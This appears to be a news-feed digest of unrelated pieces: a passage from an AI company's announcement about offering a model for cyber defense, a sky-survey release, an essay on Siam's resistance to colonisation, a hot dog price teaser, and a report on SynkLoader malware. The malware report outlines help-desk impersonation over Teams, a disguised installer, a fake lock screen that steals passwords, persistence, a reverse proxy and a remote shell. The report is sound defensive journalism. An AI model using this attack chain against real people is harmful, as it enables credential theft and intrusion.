Our aim remains to help organizations adapt to the pace and demands of cybersecurity as AI models become increasingly powerful. We will continue to develop safeguards, access programs, and community support to make our most capable models safely available to a wide range of people and organizations.

Integrating Mythos into existing cyberdefensive tools

The teams defending hospitals, utilities, financial systems, and the software supply chain already rely on a suite of products and services for security operations, incident response, threat intelligence, and detection engineering. The fastest way to make frontier capabilities available to those defenders is to integrate Mythos-class models into the tools they already run.

Many of our partners have already built cyber products on Claude Opus that help security teams triage alerts, identify threats, and remediate vulnerabilities faster. We’re now working with these partners and more to build Claude Mythos 5 into their products and services, so they can deliver Mythos-level defensive outcomes to their customers.

When an end user uses one of these products, they’re not interacting with Mythos directly. Instead, they work through a purpose-built interface that runs Mythos in the background for a defined task and only receive the specific artifact the product is intended to provide. For example, a tool to remediate vulnerabilities might provide a list of suggested patches as its output. This output would be generated by Mythos, but the user would not have a way to prompt the model to, say, develop an exploit for a vulnerability. We and our partners also have abuse prevention measures in place to verify the model stays within its intended scope.

We're early in this work and expect it to expand over time. If you build security products or services and want to bring Claude Mythos 5 to your customers, you can register your interest here .

Making Claude Security available with Claude Mythos 5 for Enterprise customers

Starting today, Claude Security scans now run on Claude Mythos 5. Claude Security scans codebases for vulnerabilities and suggests patches for human review; it’s currently in public beta for Claude Enterprise customers, and scans with Mythos 5 are billed as standard token usage under your existing plan, with no separate add-on.

Enterprise admins can enable Claude Security in the admin console . From claude.ai/security , users can select a repository to scan using Claude Mythos 5. Claude then scans the codebase for vulnerabilities, and returns each finding with a CWE (Common Weakness Enumeration) category, confidence and severity ratings, and a suggested fix.

Users can then open Claude Code on the web to implement the fix. Interactive patching uses the models your organization has access to in Claude Code. The Mythos scan itself does not extend Mythos access to other surfaces. Every patch must be reviewed and approved by a human before it can be implemented.

Claude Security uses Mythos 5 to scan code you own, and returns detailed findings rather than raw outputs without exposing the model itself. This means defenders can access the capabilities of Claude Mythos 5 without the model becoming accessible to those who might misuse it.

For more about Claude Security, see our guide to getting started .

Launching the Defender Advantage Fund to secure open-source software

Some of the world’s most widely used programs run on open-source software. Yet these projects are often maintained by volunteers or nonprofit foundations, who may lack the resources or personnel to comprehensively defend their projects against attack. Through Project Glasswing, we made $4M in direct donations to open-source security organizations, provided credits to the open-source security foundations in the program, helped scan and patch widely used projects, and support coordinated vulnerability-fixing efforts like Akrites and Gold Eagle .

Our new Defender Advantage Fund (0xDAF) builds on that work with $35 million in Claude credits for organizations helping open-source maintainers secure their software. Grants will focus on three areas: patching live vulnerabilities in widely used projects, automating scanning and patching in ways other projects can replicate, and helping projects pursue more ambitious security approaches that make them resistant to whole classes of attack.

We're starting with a small number of larger, pilot grants to learn what works and scales best. We will share details on initial recipients in the coming weeks.

Expanding our Cyber Verification Program

To date, our Cyber Verification Program has provided organizations with access to dual-use capabilities when using Claude Opus and Sonnet models. Organizations in the program experience reduced safeguards, minimizing interruptions for accepted teams doing legitimate cybersecurity work on systems they’re authorized to protect.

Over the coming weeks, we are evolving the program to expand safeguarded access to Claude Mythos. As part of this, access to defensive capabilities like vulnerability triaging and validation will expand to Mythos-class models, and cyber defenders will see reduced blocks on Claude Opus and Sonnet-class models. Additionally, we are continuing to expand access to Claude Mythos through Project Glasswing in collaboration with our partners in the U.S. Government, focused on protectors of critically important infrastructure that meet strict security control requirements.

We'll share more details about the Cyber Verification Program expansion in the coming weeks. In the meantime, we encourage all security teams performing legitimate cybersecurity work to apply for the program for reduced safeguards on Claude Opus and Sonnet models. If you are already enrolled and accepted, no action is needed; we’ll reach out with updates.

What’s next

These initiatives are a continuation of our efforts to make the defensive capabilities of frontier models available to more people and organizations, and to support the open-source community in hardening their projects against attack. We will continue to work with government partners, organizations, open-source maintainers, and the broader industry to build the resilient cyber infrastructure today’s highly capable AI models demand.

Scientists release biggest 2D map of the universe

Hacker News
newscenter.lbl.gov
2026-08-21 14:36:34
Comments...
Original Article

Key Takeaways

  • The DESI Legacy Imaging Surveys combined more than 263,000 telescope exposures to make the largest 2D map of the universe in visible and near-infrared light.
  • Astronomers can pair the Legacy Surveys map with their own observations to explore our universe and search for rare phenomena.
  • The 2D map serves as the foundation for the Dark Energy Spectroscopic Instrument survey to measure the universe in 3D and investigate dark energy.

Hold on to your telescopes: the DESI Legacy Imaging Surveys team has released the largest-ever 2D color map of the universe. The 5.6-trillion-pixel map contains nearly 4 billion celestial objects, primarily stars and galaxies. The data is available for all to use and publicly viewable through the Legacy Survey Sky Viewer .

Astronomers and citizen scientists can explore the map or combine it with their own observations to better understand our universe. Researchers can search for rare phenomena like gravitational lenses, observe fleeting events like supernovae, and investigate two of physics’ biggest mysteries: dark matter, the invisible substance that accounts for most of the mass in our universe, and dark energy, the force driving our universe’s accelerating expansion.

The new map builds on earlier versions from the DESI Legacy Imaging Surveys that have already proved invaluable. To date, more than 1,800 science papers that reference the Legacy Surveys data have been published.

“It’s part of the fabric of astronomy research now,” said David Schlegel, a co-lead of the Legacy Surveys and scientist at the Department of Energy’s Lawrence Berkeley National Laboratory (Berkeley Lab). “When you’re working with astronomical objects today, you often start by pulling up the Legacy Imaging Viewer to see what you’re looking at.”

Covering roughly 75% of the sky in visible and near-infrared light, the updated map provides a deep view of the extragalactic universe not blocked by the dust and stars of our own Milky Way. Researchers expect it will remain the most comprehensive 2D map of our universe for years to come.

More than 160 scientists contributed to data collection for the project, and a team of 20 produced the final dataset released today. It was built by combining 263,407 telescope exposures from three ground-based sky surveys: the Dark Energy Camera Legacy Survey (DECaLS) at NSF Cerro Tololo Inter-American Observatory, the Mayall z-band Legacy Survey (MzLS) at NSF Kitt Peak National Observatory, and the Beijing-Arizona Sky Survey (BASS) at the University of Arizona’s Steward Observatory. That was supplemented by years of data from NASA’s Wide-field Infrared Survey Explorer (WISE) satellite mission and additional public data.

“For our team, these data are fundamental to our investigation of the expansion history of the universe and the formation of our galaxy,” said Arjun Dey, co-lead of the Legacy Surveys and an astronomer at NSF NOIRLab. “But the skies belong to everyone, and this survey gives everyone the chance to explore the sky and marvel at its wonders.”

Here be galaxies

The DESI Legacy Imaging Surveys were originally conducted to prepare for the Dark Energy Spectroscopic Instrument (DESI) survey. The Legacy Surveys’ 2D map is essentially a deep photograph of the sky; it records where galaxies and stars appear and how bright they appear. This crucial step enables DESI to select objects and measure their light in different wavelengths to determine their distances, building the largest high-resolution 3D map ever made. Scientists study the way galaxies have clustered at different ages of the universe to track dark energy over time.

In April 2026, DESI completed its original five-year survey ahead of schedule and with vastly more objects than expected. The early results have shown surprising hints that dark energy’s impact may be weakening over time — a paradigm shift that could potentially shape the predicted fate of our universe. DESI expects to publish improved results using their first five years of data in 2027 and is continuing observations into 2028.

DESI was so efficient at observing galaxies, the Legacy Surveys map needed to expand. Early on, “it became clear we might run out of galaxies to look at and run out of sky, and we better start doing something about that,” said Schlegel, who also works on DESI. The new Legacy Surveys map has been used to select DESI targets since June 2026 and will guide the telescope’s operations over the coming years.

Computing the cosmos

Merging hundreds of thousands of images taken on 2,285 nights, each with unique atmospheric and telescope conditions, was a massive computational effort. It took about a year to develop the computer code and eight weeks to process all the images at the Perlmutter supercomputer at the National Energy Research Scientific Computing Center (NERSC) at Berkeley Lab.

Beyond supporting DESI, the Legacy Surveys will be a foundational reference for the next generation of telescopes. As new observatories like the NSF-DOE Vera C. Rubin Observatory (jointly funded by NSF and DOE’s Office of Science) and NASA’s Nancy Grace Roman Space Telescope come online, researchers can compare their observations with one of the deepest and most comprehensive views of the sky ever assembled.

The Legacy Surveys data will also help scientists train artificial intelligence tools to analyze petabytes of astronomical data and accelerate new discoveries. It will be among the datasets used in an astrophysics pilot project within the American Science Cloud, part of the DOE’s Genesis Mission .

Seven bright galaxies on a black background full of points of light.

The DESI Legacy Imaging Surveys are supported by the U.S. Department of Energy’s Office of High Energy Physics; the National Energy Research Scientific Computing Center, a DOE Office of Science user facility; the U.S. National Science Foundation, Division of Astronomical Sciences; and the partner institutions.

DESI is supported by the DOE Office of Science and NERSC. Additional support for DESI is provided by the NSF; the Science and Technology Facilities Council of the United Kingdom; the Gordon and Betty Moore Foundation; the Heising-Simons Foundation; the French Alternative Energies and Atomic Energy Commission (CEA); the Secretariat of Science, Humanities, Technology and Innovation (SECIHTI) of Mexico; the Ministry of Science and Innovation of Spain; and by the DESI member institutions.

###

Lawrence Berkeley National Laboratory (Berkeley Lab) is committed to groundbreaking research focused on discovery science and solutions for abundant and reliable energy supplies. The lab’s expertise spans materials, chemistry, physics, biology, earth and environmental science, mathematics, and computing. Researchers from around the world rely on the lab’s world-class scientific facilities for their own pioneering research. Founded in 1931 on the belief that the biggest problems are best addressed by teams, Berkeley Lab and its scientists have been recognized with 17 Nobel Prizes. Berkeley Lab is a multiprogram national laboratory managed by the University of California for the U.S. Department of Energy’s Office of Science.

DOE’s Office of Science is the single largest supporter of basic research in the physical sciences in the United States, and is working to address some of the most pressing challenges of our time. For more information, please visit energy.gov/science .

Two fans of blue and white dots extending up and down from center on a black background.

DESI Completes Planned 3D Map of the Universe and Continues Exploring

A long-exposure image captures circular star trails above telescope domes illuminated in red light on a dark mountain. A golden glow on the horizon marks distant city lights.

New DESI Results Strengthen Hints That Dark Energy May Evolve

The Carousel Lens, an alignment consisting of 1 foreground galaxy cluster (the ‘lens’) and 7 background galaxies spanning immense cosmic distances through the gravitationally distorted space-time around the lens, as seen through the Hubble Space Telescope.

Magnifying Deep Space Through the 'Carousel Lens'

How Thailand Resisted Colonization

Hacker News
worksinprogress.co
2026-08-21 14:28:42
Comments...
Original Article

At the beginning of the 1833 dry season, a monk named Mongkut set out for Sukhothai, the old capital of Siam. Long journeys by boat and on foot for study, teaching, and religious observance were common for monks like Mongkut. Theravada Buddhism was a huge part of life in premodern Siam, and at any given time, a small percentage of adult men were ordained as monks. As they traveled around the kingdom, locals provided them with food, clothes, and lodging.

But Mongkut was no ordinary monk. He was the 43rd child of King Rama II. Born to one of Rama II’s senior consorts, he was a high-ranking son and in the running to inherit the throne. As such, he would have been traveling with a retinue of attendants as well as fellow monks. The kingdom to which Mongkut was an heir covered most of modern-day Thailand, plus parts of Laos, Cambodia, and Malaysia, and contained around five million subjects. Though most of these subjects were poor rice farmers, Siam’s largest city, Bangkok, was a major trading port, with a dense network of canals lined with houses on stilts, and an ethnically diverse population.

The Works in Progress Newsletter

Get new articles from Works in Progress delivered to your inbox.

In contrast to the bustling capital, Sukhothai was by this time largely abandoned. From the thirteenth to fifteenth centuries, Sukhothai had flourished as a political, cultural, and religious center, but it had since been eclipsed by Ayutthaya to the south and, since its founding in the eighteenth century, Bangkok. When Mongkut arrived there, he would have been greeted, as visitors are today, by crumbling stupas (religious buildings), serene Buddha statues, and rust-colored brickwork weathered by centuries of blistering sunshine and tropical rains.

At some point during his stay, Mongkut came across a remarkable object: a four-sided, black stone monolith, about a meter high and inscribed with an unusual script. The stone would become known as the Ramkhamhaeng Stele. Purported to date from 1292, it is often cited as the oldest surviving example of Thai writing.

Wikimedia Commons.

The Ramkhamhaeng Stele is thought to be the earliest surviving example of Thai writing.

Image

Mongkut brought the Stele to Bangkok and assembled a committee of scholars to decipher its enigmatic inscription. They compared it to known forms of old Thai and other related scripts, analyzed linguistic patterns, and collaborated with learned monks to interpret unfamiliar words and characters. What they found was extraordinary: the 124 lines of archaic text told of an ancient Thai kingdom ruled by a wise monarch, Ramkhamhaeng. According to the Stele, Ramkhamhaeng’s kingdom combined a literary tradition, a sophisticated legal and political system, independence, sovereignty, secure geographic boundaries, Buddhist kingship, and just rule.

The discovery of the Stele was, as it turned out, serendipitous. Over five centuries, European powers colonized virtually every other territory on Earth, with exceptions that can be counted on the fingers of one hand. Japan is the best known example. Siam, perhaps the next clearest case of a state that resisted foreign occupation and retained sovereignty, is much less publicized. Siam held out through a combination of diplomacy, reform, and careful image management. By providing evidence of a longstanding complex civilization, the Ramkhamhaeng Stele was just the sort of brand asset the kingdom needed.

The Siamese Holdout

By the 1830s, the Siamese court was watching nervously as British power radiated outward from India. Just a few years before Mongkut’s discovery, during the First Burmese War of 1824–1826, British gunboats sailed up the sacred waters of the Irrawaddy River and humiliated the ancient kingdom of Burma, extracting huge territorial concessions from Siam’s long-term rival. To the east, French missionaries were active in Vietnam and Cambodia, representing the earliest phase of France’s colonial ambitions and its mission civilisatrice . One by one, Siam’s neighbors began to fall and it found itself the sole Southeast Asian holdout against European colonialism.

The vanquished countries pursued a range of resistance strategies, all of them unsuccessful. Burma fought a series of doomed wars against Britain, only to be annexed. Cambodia willingly allowed itself to become a French protectorate, viewing this as the lesser of several evils after decades of encroachment from neighboring Siam and Vietnam, only for that protection to evolve into colonial rule within French Indochina. Vietnam relied on the country’s historic ties to China to ward off France, but its harsh treatment of missionaries and minorities gave Europeans an easy pretext for intervention.

Instead, Siam’s leaders hoped that demonstrating it already had clear markers of civilization would undermine the pretexts for colonization. Even in the nineteenth century, countries did not want to be thought of as engaging in naked land grabs. Successful colonial ventures usually combined ostensibly noble justifications and straightforward power-hungry motivations. Europeans believed that technologically advanced, Christian nations had a moral duty to bring progress to ‘backward’ peoples who lacked proper government, writing systems, and cultural refinement. This ideology created domestic political support and international legitimacy for territorial conquest.

Mongkut’s discovery of the Stele was comparable to finding a lost Magna Carta at just the right moment. Siam’s rulers realized that written language was key to civilizational legitimacy in Western eyes, and the inscription provided exactly what they needed: tangible evidence of a tradition of literary sophistication that overturned European assumptions of primitiveness.

Diplomacy

In 1855, a new British special envoy to Southeast Asia arrived in Bangkok. Sir John Bowring was governor of recently conquered Hong Kong and represented a nation at the height of its powers. By this point, Britain controlled almost a fifth of the world's land mass, produced over half its industrial output , and had the most powerful navy the world had ever seen. Siam, on the other hand, had been in self-imposed relative isolation from the West since 1688, and had recently been accused of dealing contemptuously with British and American trade missions. John Crawfurd, a British envoy, described the Siamese as ‘unusually sordid, insincere and rapacious’. Under Rama III, Siam’s king and Mongkut’s older half-brother, most people thought Siam was headed down the same path as its neighbors.

After Rama III died in 1851, Mongkut was crowned king, taking the name Rama IV. Mongkut was popular with the British, who thought him more friendly to their interests than the other contenders for the throne. As a monk, he had studied Western languages, sciences, and technology. He spoke English and Latin and had continuous contact with diplomats and Catholic and Protestant missionaries. He was fascinated by the Western concept of material and technological progress, an idea in stark contrast to Buddhist cosmology’s emphasis on repeated cycles of decay.

Wikimedia Commons

King Mongkut in Western-inspired dress

Image

European diplomats had often found Asian rulers, including Mongkut’s predecessors, to be aloof and disdainful. Arriving in Siam for his meeting with the new king, Bowring would have expected more of the same. Instead, he found a ruler who displayed a sophisticated understanding of the Western world. King Mongkut received Bowring in his private apartments for cigars and wine. They bypassed interpreters and spoke in English. Bowring noted that the king’s library had a vast array of books ranging from Western science to novels by Sir Walter Scott.

British imperialists were unaccustomed to negotiating with Asian rulers who could meet them on their own intellectual ground. This was an era in which Thomas Macaulay, the colonial administrator and historian best known for his History of England , could write that ‘a single shelf of a good European library was worth the whole native literature of India and Arabia’. Bowring, however, was willing to believe the Siamese were cultured. His influential 1857 work, The Kingdom and People of Siam , featured the Ramkhamhaeng Stele, recognizing it as a major historical document that provided evidence of early Thai writing and was crucial to understanding Sukhothai's sophisticated governance and society.

The treaty that Mongkut and Bowring negotiated was a decisive shift in the relationship between Britain and Siam. Three decades earlier, in 1826, a treaty had opened limited trade between the two countries. The 1855 treaty was by no means generous. It capped Siamese import and export duties at 3 percent and gave significant extraterritorial rights to British subjects, meaning Britons could not be tried in Siamese courts. But the treaty massively increased foreign trade, and crucially, Siam continued to be treated as a sovereign negotiating partner.

The contrast with other countries in the region is stark. Following its defeats in the Anglo-Burmese Wars of 1824–26 and 1852, Burma had been forced to surrender four provinces, pay a crippling £1 million indemnity (about $160 million today), and accept the presence of a British overseer with veto power over the king’s decisions. Similarly, China’s attempt to enforce a ban on Britain’s opium trade in 1839 had resulted in the loss of Hong Kong and the start of what nationalists would later dub the ‘century of humiliation’. Mongkut demonstrated what strategic compromise could achieve when resistance failed.

Xenophilia

Siam’s distinctive approach was not as simple as a cigar-smoking bibliophile king. That was a small part of a broader strategic performance of European norms, an attitude that set Siam apart from other countries in the region.

In response to Britain’s first embassy to China in 1793, Emperor Qianlong dismissed Western technology, declaring that the Middle Kingdom ‘possesses all things in prolific abundance’ and had no need for the goods of ‘barbarian merchants’. Chinese rulers were trained in classical Confucian thought that emphasized China’s cultural superiority, and their insularity and xenophobia made it easy for Europeans to justify their civilizing missions. Similarly, Vietnam’s Emperor Minh Mang rejected French overtures in the 1820s and 1830s. Vietnam’s isolation would later provide France with the pretext for intervention. Both rulers were products of educational systems that viewed foreign knowledge as contaminating rather than useful.

When Asian rulers did embrace modernization, they often did so reactively, after the West had already put them under substantial pressure. Despite having ancient scripts dating back to the sixth century, magnificent Buddhist temples, and sophisticated legal traditions, Burma was systematically dismantled by Britain between 1824 and 1885. The crucial differences between Burma and Siam were timing and agency. Burma was first invaded in 1824, before the ‘civilizing mission’ ideology was in full swing. King Mindon, who ruled Burma from 1853 to 1878, modernized extensively after Britain’s initial conquest, establishing telegraph lines, railways, and modern schools. Yet by then, Britain had generated military and political momentum that rendered Burma’s cultural credentials and reforms irrelevant. When Britain manufactured border disputes to complete Burma’s annexation in 1885, Mindon’s modernization efforts provided no protection against a colonial power that was, by that point, committed to conquest.

Japan also modernized reactively after the US Navy’s ‘black ships’, under Commodore Matthew Perry, forcibly ended the Tokugawa Shogunate’s policy of isolation in 1853. China attempted to do something similar following the humiliation of the Second Opium War, though with much less success. In comparison to its neighbors, Siam strategically adopted and demonstrated the markers of civilization that European powers used to justify colonization elsewhere from a position of relative strength.

In 1868, Mongkut extended invitations to British and French officials to observe a solar eclipse. This was a grand affair with pavilions and accommodation prepared for the attendees, the goal of which was to showcase Mongkut’s commitment to science. Mongkut accurately predicted the timing and location of the eclipse using a combination of traditional Thai timekeeping methods and Western astronomical techniques. According to some stories, his calculations were so precise that they trumped those of the French astronomers present.

The Siamese court knew what to perform to whom. France had long considered science to be the true marker of civilization, while Britain championed international law and free trade. Mongkut demonstrated Siamese civilization through measures that European powers used to justify colonization elsewhere.

Creating brand Siam

Mongkut did not live to see his diplomacy come to fruition: he contracted malaria at the eclipse event and died a few weeks later. His son Chulalongkorn (Rama V) was a minor at the time of his father’s death, but assumed full control of Siam in 1873, finding himself at the head of a multinational, decentralized, and dynastic kingdom.

Across Europe and its empires, traditional monarchies were adapting to an age of nationalism by imposing unified national identities from above. France had established a centralized administrative system with uniform laws, and aggressively promoted Parisian French as the national language, systematically suppressing regional languages like Breton, Occitan, and Alsatian. Meanwhile, Britain more gradually imposed standard English through education reforms and civil service requirements, displacing Welsh and Gaelic. The Austro-Hungarian Empire was, in its Magyarization policy of the 1880s, doing the same: imposing Hungarian language and culture on ethnic minorities like Slovaks, Romanians, and Croats to create a single national identity in the Hungarian part of the dual monarchy. Germany and Italy both transformed from complex patchworks of states to unified nations in the late nineteenth century.

Despite Europeans having only recently created their centralized nation states, this became the new standard for civilization. Many Asian powers lacked the cultural homogeneity, clear boundaries, and single language and government that nineteenth-century Europeans considered civilized. And these diverse and decentralized realms were ripe for divide-and-rule tactics. The British and French depicted non-dominant groups in realms like Burma, Cambodia, and Vietnam as oppressed minorities in need of their protection.

Nineteenth-century Siam was, in theory, vulnerable to the same tactics. It encompassed dozens of ethnic groups and lacked a unified Thai identity. Its people were governed by the mandala system, the traditional premodern governing system in Southeast Asia, its equivalent to Europe’s feudal system. Under the mandala system, rather than fixed borders, the king’s sovereignty faded with distance, with outer parts of the kingdom recognizing overlapping zones of authority from elsewhere.

When the British became neighbors to Siam’s south and west in the 1820s by acquiring the Straits Settlements and annexing lower Burma, their request to demarcate fixed mutual borders baffled the Siamese. European powers, once they understood the system, would attempt to exploit this difference in understanding. The French seized on Siam’s multiethnic structure, arguing that the Lao constituted a distinct race deserving protection from Siamese domination. They also claimed that the Siamese were not a true race, because they had become too intermixed with the Chinese.

Instead of giving in, Siam adapted through a program of nation-building. Chulalongkorn promoted the idea of ‘Thai-ness’, a single national identity that could accommodate Siam’s dozens of ethnic groups while presenting as a unified state to the Western powers. When confronted with French claims about distinct ethnic groups, Chulalongkorn countered: ‘The Thai, the Lao, and the Shan all consider themselves peoples of the same race. They all respect me as their supreme sovereign, the protector of their wellbeing.’

As well as a shared national identity, the people of Siam needed a shared language and clearly defined borders. The Bangkok dialect was elevated to ‘standard Thai’ and was spread through a newly created school system. The mandala system was dismantled in favor of a centralized bureaucracy, reorganized into administrative units that drew inspiration from the old mandala circles but imposed newly fixed territorial control. Modern mapping projects helped draw borders with unprecedented accuracy. A national census counted subjects who, a few decades later, were required to adopt surnames. Telegraph lines and railways created communication infrastructure that solidified Bangkok’s authority.

This approach differed dramatically from that taken by Vietnam. While Vietnam had a coherent identity dating back centuries, the ruling Nguyen dynasty struggled with adapting it to the Western concept of nationhood. Emperor Tu Duc was resolutely committed to maintaining Vietnam’s traditional Confucian order, and rejected reform. Vietnam retained a hierarchical system that privileged ethnic Vietnamese while marginalizing minorities such as the Cham and Khmer. The French capitalized on these self-imposed divisions by governing different regions separately – Cochinchina as a colony, and Annam and Tonkin as protectorates – thereby deepening regional fragmentation. The end result was an effective dismantling of the Vietnamese state.

By embracing the Western concept of nationhood, Chulalongkorn was able to force Europeans to recognize Siam as a sovereign country, rather than as a wilderness in need of conquest. Chulalongkorn embarked on grand tours of Europe in 1897 and 1907, amid sustained British and French pressure on Siam’s borders. Across Europe, he insisted on being received as a monarch of equal rank to his hosts. His entourage wore Western clothing, observed European court customs, and spoke fluent English. Some of his sons, including future Siamese kings, attended elite institutions such as Eton. The message was clear: Siam was a peer.

Wikimedia commons

Chulalongkorn and some of his sons at Eton.

Image

Modernizing Siam

As well as promoting the idea of a unitary Thai identity, Chulalongkorn took up a comprehensive program of modernization and centralization. In 1885, Chulalongkorn established the first modern public school. He created the Ministry of Education in 1892. By the end of the 1890s, the kingdom had about a hundred schools teaching a standardized curriculum, including the elite Suankularb Wittayalai school that trained future government officials in both Thai tradition and Western knowledge. It is still one of Thailand’s most prestigious secondary schools.

The legal system was also up for reform. The relatively unequal treaties imposed by Britain and France had granted extraterritoriality to European subjects, exempting them from Siamese law in a humiliating denial of sovereignty. Chulalongkorn’s solution was to create a legal system that Europeans would recognize as legitimate. He assembled a team of foreign advisors, most notably the Belgian jurist Gustave Rolin-Jaequemyns, who became a key architect not only of Siam’s new civil law code but of its entire diplomatic strategy. The choice of a Belgian was strategic: adjacent to British and French legal traditions but crucially not from either colonial power. Chulalongkorn built modern law courts and staffed them with the burgeoning administrative class trained in Siam’s schools. By demonstrating that Siam possessed a ‘civilized’ legal system, Chulalongkorn could argue for the abolition of extraterritorial privileges.

Chulalongkorn also Westernized the military. He hired German advisors and sent some royals to the Prussian military academy. In line with the Prussian model, military command was centralized under the monarch, noble levies were replaced with a standing army, and a professional officer corps was established.

Religion, too, was reformed to appear more rational by Western standards. Chulalongkorn supported the Thammayut monastic order’s reformation that made Siamese Buddhism appear less superstitious and more disciplined and text based. Even time itself was standardized. The kingdom adopted the Gregorian calendar and aligned its timekeeping with international norms. The quantification and standardization of time was foundational to Western modernity . Mechanical clocks, synchronized schedules, and precise measurement undergirded capitalism, science, and bureaucratic efficiency.

Cultural transformation reached into daily life through the promotion of siwilai , a Thai loan of the word ‘civilized’ that became central to the kingdom’s modernization program. Western-style clothing became increasingly common, often through official encouragement. Practices deemed uncivilized by European observers, such as chewing betel nut, were discouraged.

Perhaps most significantly for Western audiences, Chulalongkorn abolished slavery. Before the modernizations, Siam had a complex hierarchy of debt bondage, war captives, and corvée labor. By the late nineteenth century, slavery had been abolished in most of Europe and the Americas. Thailand followed suit. An 1874 decree freed children born into slavery when they reached the age of 21. It was followed by an 1884 ban on capturing and selling ethnic minorities into slavery. The 1905 Slavery Abolition Act went further, dismantling most remaining slavery and reforming debt bondage by crediting laborers’ work toward their principal debt rather than merely as interest. By 1908, slavery was criminalized and the government had a program of education to prevent former slaves from falling back into servitude.

In 1907, the French newspaper Le Figaro congratulated the king for his successful pursuit of modernization. It drew parallels between Siam and Japan, suggesting that France may now develop a beneficial relationship with an independent Siam. The same newspaper reminded readers: ‘one must not forget that the king of Siam, though his state is Asian, is a king of dignity like that of the Europeans.’

Soft power meets hard power

Siam’s strategy was tested during the Paknam incident in 1893. French gunboats forced their way up the Chao Phraya River toward Bangkok. Officially, the Paknam incident centered on a dispute between the Siamese and French regarding territory east of the Mekong River. In truth, it was prompted by France’s growing colonial ambitions following its conquest of Vietnam.

On 13th July, three French warships attempted to force passage past Siamese fortifications. The Siamese fired upon the warships. The French fired back, killing three sailors and breaking through the Siamese defenses. The French proceeded upriver towards the capital. They demanded that Siam recognize French Indochina’s claim to the disputed territory. In the face of overwhelming military force, Chulalongkorn ceded the territory, making a necessary concession to preserve the kingdom as a whole. Siam was forced to cede territory to the French in what is now Laos and Cambodia, creating much of the modern borders of Thailand. The French established a demilitarized zone along the Mekong, and the Siamese had to pay an indemnity of three million francs. European powers readily resorted to gunboat diplomacy but even here, France felt compelled to frame its demands in terms of legitimate Vietnamese territorial claims rather than naked conquest.

Between 1893 and 1909, Siam would cede around 40 percent of its territory to France and Britain. But the strategic retreat meant Chulalongkorn preserved what mattered most: the political independence of Siam’s core territories. The lost lands, predominantly Lao and Khmer-majority regions along the Mekong, had always existed at the outer edges of the mandala system, where Bangkok’s authority was weakest. Chulalongkorn specifically prioritized the Chao Phraya valley, the Thai-majority heartland, which was the source of the kingdom’s agricultural wealth and political identity. By surrendering territories where their control was already tenuous, the Siamese leadership prevented France from advancing into this core.

Siamese Wins

Some modern historians, many of them Thai, have questioned the authenticity of the Ramkhamhaeng Stele, suggesting that it may have been modified or fabricated to serve Siam’s existential myth-making needs. The Stele’s discovery mirrors other nationalist discoveries of the era, such as the Nibelungenlied, a medieval epic poem that German intellectuals promoted as a symbol of Germanic heroism and unity.

Whether Mongkut’s discovery was a true ancient artifact or a recent creation matters less than what Siam did with it. By the time French gunboats pointed their cannons at the Grand Palace in 1893, Siam had successfully established itself as a civilized nation worthy of sovereignty. The painful territorial concessions it made were closer to concessions European countries were in the habit of extracting from each other. It was not the kind of conquest that Europeans were doing in the New World, Africa, or the rest of Asia.

The kingdom that emerged from the colonial crucible bore little resemblance to the decentralized mandala system that had puzzled British border commissioners in the 1820s. It had become a Western-style nation. The ruling family of Siam had imposed one dialect across the populace, created a centralized state with the capacity to measure and monitor its people, standardized education, built infrastructure, and abolished slavery. They even created a national myth.

Yet rather than becoming Westernized by conquest, this transformation was carefully orchestrated from within. Mongkut and his son Chulalongkorn weren’t to know this, but their strategy may have eventually protected Thailand from a great deal of suffering. Weak institutions built by colonists fell apart after twentieth-century decolonizations, contributing to the deaths of millions of people across Cambodia, Vietnam, Malaysia, and Burma.

Siam demonstrated that a nation could transform itself on its own terms while others around it lost their chance.​​​​​​​​​​​​​​​​ The monk prince who discovered that stone in Sukhothai, armed with his synthesis of traditional Buddhist and Western scholarship, established a template for survival that would serve his kingdom for generations.

In Search of the Elusive $3 Midtown Hot Dog

hellgate
hellgatenyc.com
2026-08-21 14:01:32
Sometimes you just have to ask....
Original Article

A weiner, a frank, a foot-long—whatever you call it, the hot dog is a local icon. Simple, portable, and delicious, the hot dog is meant to stay affordable. But discourse about the rising price of the Manhattan hot dog has raised concerns about its standing as a cheap street staple. A recent tweet claimed it cost $15 for a hot dog at a cart near Bryant Park, which would be highway robbery, people. Adding salt to the wound, if you hop on a quick train ride Uptown, you will be face-to-face with the Guinness Book-certified "world's most expensive hot dog" at Serendipity 3, whose notorious Haute Dog , costs $69 and "must be ordered in advance," according to its menu . Even back in 2021, veteran restaurant critic Robert Sietsema reported eating a $13 dog in Midtown West that he "regret[ted] paying for"—showing that hot dog prices were on the rise even before inflation, tariffs, and food costs made overly expensive food the norm.

Worried that New York's favorite, anytime cart snack might be the latest casualty of astronomical food prices—and eager to give into our desire for a hot dog before summer comes to a close—Hell Gate journeyed into Midtown on a sweltering Monday afternoon to get to the bottom of this.

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

New SynkLoader malware pushed in Microsoft Teams phishing campaign

Bleeping Computer
www.bleepingcomputer.com
2026-08-21 14:01:30
A previously unknown malware family dubbed SynkLoader is being distributed in Microsoft Teams phishing campaigns to steal credentials via a fake lock screen. [...]...
Original Article

New SynkLoader malware pushed in Microsoft Teams phishing campaign

A previously unknown malware family dubbed SynkLoader is being distributed in Microsoft Teams phishing campaigns to steal credentials via a fake lock screen.

The attacker impersonates the target company's IT help desk, a tactic Microsoft highlighted earlier this year as increasingly common in multi-stage attacks.

Expel’s security researcher Marcus Hutchins explains that the attacks direct the victim to install a fake “PowerShell Cleaner” executable (.MSI) hosted in Microsoft Azure, making the download appear trustworthy.

image

Analysis of the malware showed "compile dates and file timestamps indicating it was first compiled and distributed around July 28, 2026."

The installer extracts a PowerShell script named cleaner.ps1 and a ZIP archive containing the Python framework, a malicious Python script, precompiled Python libraries, and several fake Microsoft runtime DLLs.

SynkLoader ZIP archive content
SynkLoader ZIP archive content
source: Expel

Based on the breached environment profile and operational targets, the attackers select which modules to deploy.

SynkLoader was named as such because of its unusual combination of Python, PowerShell, C#, and C++, sometimes blending up to three programming languages in a single module.

Expel identified the following SynkLoader modules after setting up a honeypot pinging the attacker’s C2, posing as a legitimate victim:

  • System Profiler — Collects the hostname, username, privilege level, running processes, services, domain details, and number of computers in Active Directory.
  • Persistence Module — Creates a randomly named scheduled task that launches SynkLoader at user logon and daily at 10 a.m.
  • PhishLocker — Displays a convincing fake Windows lock screen to capture the user’s login password.
  • TrafficRedirector — Creates a reverse proxy that lets attackers reach internal network services or route internet traffic through the infected computer.
  • Interactive Shell (RAT) — Allows attackers to remotely execute PowerShell commands and receive their output.
